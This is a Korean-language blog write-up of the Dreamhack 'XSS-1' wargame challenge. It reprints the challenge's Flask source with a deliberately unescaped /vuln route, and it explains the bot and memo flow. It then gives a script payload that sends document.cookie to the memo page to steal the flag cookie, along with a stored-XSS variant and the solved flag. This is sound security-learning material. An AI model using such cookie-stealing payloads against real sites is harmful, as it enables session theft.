War Game/dreamhack.io

[Web] XSS-1

re.t 2023. 4. 15. 15:05

Source : https://learn.dreamhack.io/7#9

"document.cookie"를 통해 브라우저에 저장되어 있는 쿠키 정보를 출력할 수 있다. 이는 XSS 공격 시에 매우 자주 사용될 것 같으므로 아직 JS가 익숙지 않더라도 이 정도는 익혀두는 편이 좋겠다.

 

XSS에 관련된 내용은 여기에 정리해두었으니 참고하도록 하자.

 

문제의 사이트에 접속하면 다음과 같이 4가지 페이지를 확인할 수 있다.

'vuln(xss)'라는 하이퍼링크가 수상하다. 좀 더 자세히 살펴보자.

URL을 보면 스크립트 구문이 들어가 있는 것을 확인할 수 있다. 해당 부분은 수정하면 원하는 자바스크립트 구문을 실행할 수 있을 것으로 보인다. 직접 해보자.

오.. 역시 마음대로 수정할 수 있을 것으로 보인다. 그렇다면 위에서 배운 쿠키 호출 방법을 바로 써먹어볼 수 있지 않을까?

오.. 근데 뭔가 수상한 점을 발견했다.

몬가몬가.. 계속 늘어나고 있다. 정황상 'vuln' 페이지에서 무언가 실행될 때마다 'memo' 페이지에 한 줄씩 추가되는 것 같다.

마침 'flag' 페이지에서 'vuln' path를 건드리고 있는 것을 보아하니 flag(지시) -> vuln(스크립트 수행) -> memo(결과 출력)의 형태로 진행되는 것 같다. 코드를 살펴보며 확인해보자.

 

#!/usr/bin/python3
from flask import Flask, request, render_template
from selenium import webdriver
import urllib
import os

app = Flask(__name__)
app.secret_key = os.urandom(32)

try:
    FLAG = open("./flag.txt", "r").read()
except:
    FLAG = "[**FLAG**]"


def read_url(url, cookie={"name": "name", "value": "value"}):
    cookie.update({"domain": "127.0.0.1"})
    try:
        options = webdriver.ChromeOptions()
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome("/chromedriver", options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get("http://127.0.0.1:8000/")
        driver.add_cookie(cookie)
        driver.get(url)
    except Exception as e:
        driver.quit()
        # return str(e)
        return False
    driver.quit()
    return True


def check_xss(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)


@app.route("/")
def index():
    return render_template("index.html")


@app.route("/vuln")
def vuln():
    param = request.args.get("param", "")
    return param


@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html")
    elif request.method == "POST":
        param = request.form.get("param")
        if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
            return '<script>alert("wrong??");history.go(-1);</script>'

        return '<script>alert("good");history.go(-1);</script>'


memo_text = ""


@app.route("/memo")
def memo():
    global memo_text
    text = request.args.get("memo", "")
    memo_text += text + "\n"
    return render_template("memo.html", memo=memo_text)


app.run(host="0.0.0.0", port=8000)

어지럽다.. 흐름을 따라가면 하나하나 분해해보자.

 

@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html")
    elif request.method == "POST":
        param = request.form.get("param")
        if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
            return '<script>alert("wrong??");history.go(-1);</script>'

        return '<script>alert("good");history.go(-1);</script>'

'flag'에서는 HTTP method에 따라 응답을 다르게 처리하고 있다. GET 메소드가 들어온다면 flag.html 페이지를 리턴하지만, POST 메소드가 들어오는 경우에는 이용자가 보낸 입력값을 param 변수에 담아서  check_xss() 메소드로 보낸다. 이제 해당 메소드를 살펴보자.

 

def check_xss(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)

check_xss()에서는 [name : flag, value : flag.txt]에 해당하는 쿠키와 사용자의 입력값을 vuln path에 넘겨 url에 담는다. 이후  read_url()을 통해 해당 url을 실제로 실행하는 것 같다. 뭔가 느낌이 온다.  flag path의 텍스트 입력 필드에 적당한 값을 넣어서 cookie 값을 출력하도록 만들면 cookie의 value 필드에 담겨있는 flag가 출력될 것 같다. 다만 방금 확인한 것처럼 alert()같은 메소드를 이용한다면 우리가 대화창의 내용을 확인할 수 없으므로 memo path에 기록되도록 잘 짜야할 것이다. 

 

내용은 안 봐도 뻔하지만 공부할 겸 read_url()의 내용도 간단하게 후루룩 살펴보자.

def read_url(url, cookie={"name": "name", "value": "value"}):
    cookie.update({"domain": "127.0.0.1"})
    try:
        options = webdriver.ChromeOptions()
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome("/chromedriver", options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get("http://127.0.0.1:8000/")
        driver.add_cookie(cookie)
        driver.get(url)
    except Exception as e:
        driver.quit()
        # return str(e)
        return False
    driver.quit()
    return True

음~ 술술 읽힌다. 쿠키와 URL을 가지고 해당 페이지를 읽어온단다.

이제 마지막으로 memo path에서는 어떻게 데이터를 처리하고 있는지 확인해보자.

@app.route("/memo")
def memo():
    global memo_text
    text = request.args.get("memo", "")
    memo_text += text + "\n"
    return render_template("memo.html", memo=memo_text)

 

FLASK 문법에 대해 능숙하지 못하다보니 네번째 주렝 적힌 내용이 무슨 뜻인지 이해하고 싶어 찾아봤다.

https://dreamhack.io/forum/qna/1558

 

pw = request.args.get("pw", "")가 무슨 의미인지 모르겠습니다.

제가 이해한 바로는 맨 처음 pw에 사용자가 pw=~라고 입력을 하면 get 메소드 형식의 파라미터가 저장이 되는 거라고 이해를 했습니다. 그리고 get는 post로 바꿔서 쓸 수…

dreamhack.io

요약하자면 딕셔너리 자료형을 이용하는데, parameter 'memo'를 key로 하여 이에 대응하는 값(value)이 있다면 이를 불러오고, 찾지 못 한 경우에는 두번째 매개변수 (여기에서는 argv[1]인 "")을 리턴하도록 하는 메소드라고 한다.

 

다만 memo 변수에 어던 값을 담는지는 확인하지 못 한 것 같은데 코드를 다시 차근차근 살펴보자.... 못 찾겠다. 일단 스크립트를 짜서 실행해보면서 리턴값을 보며 이해를 시도해보는 게 좋을 것 같다.

 

<script>window.open("http://127.0.0.1:8000/memo?memo=" + document.cookie)</script>

HTTP Scheme으로  127.0.0.1 localhost에 포트 번호 8000번에 memo path로 접근하여 memo parameter로 document.cookie를 전달하는 스크립트이다. 앗! memo 찾았다. args니깐 쿼리처럼 URL에 변수에 대한 정보가 담긴다. 역시 아직 수련이 많이 필요하다.

"flag \n hello"가 출력되는 것을 확인할 수 있다. 가 아니라 flag만 출력되는 것이 맞는데, 이를 확인하기 위해 memo path로 접근하는 순간 /memo?memo = "hello"가 작동해서 저렇게 뜨는 거였다. 잘못 적고 넘어갈 뻔..

추가적으로 든 생각인데, 그렇다면 이 메모창 자체에 스크립트 구문을 삽입해버리면 Stored XSS도 구현 가능하지 않을까?

<script>window.open("http://127.0.0.1:8000/memo?memo=" + "<script>alert(document.cookie)</script>")</script>

굿

 

 

 

 

그렇다면...

<script>window.open("http://127.0.0.1:8000/memo?memo=" + <script>alert(document.cookie)</script>)</script>

 

@app.route("/memo")
def memo():
    global memo_text
    text = "<script>alert(document.cookie)</script>"
    memo_text += text + "\n"
    return render_template("memo.html", memo="<script>alert(document.cookie)</script>\n")

위와 같이 작동해야할텐데 어쩐 이유에선지 스크립트문이 표출 되지 않고 default 값이었던 ""만 출력된다. 나중엔 이해할 수 있기를..

 

DH{2c01577e9542ec24d68ba0ffb846508e}
 
어제는 하루 종일 시스템 해킹 렉처를 수강했으니 앞으로는 나도 pwntools를 사용해서 시스템해킹 문제를 좀 풀어봐야겠다.

 

참고자료

https://4rgos.tistory.com/1

 

XSS(Cross Site Scripting) 공격이란?

XSS 란? 웹 해킹 공격 중 XSS라는 공격 기법이 있다. Cross Site Scripting의 약자로 CSS라고 하는 것이 맞지만 이미 CSS가 Cascading Style Sheets의 약어로 사용되고 있어 XSS라 한다. XSS는 게시판이나 웹 메일 등

4rgos.tistory.com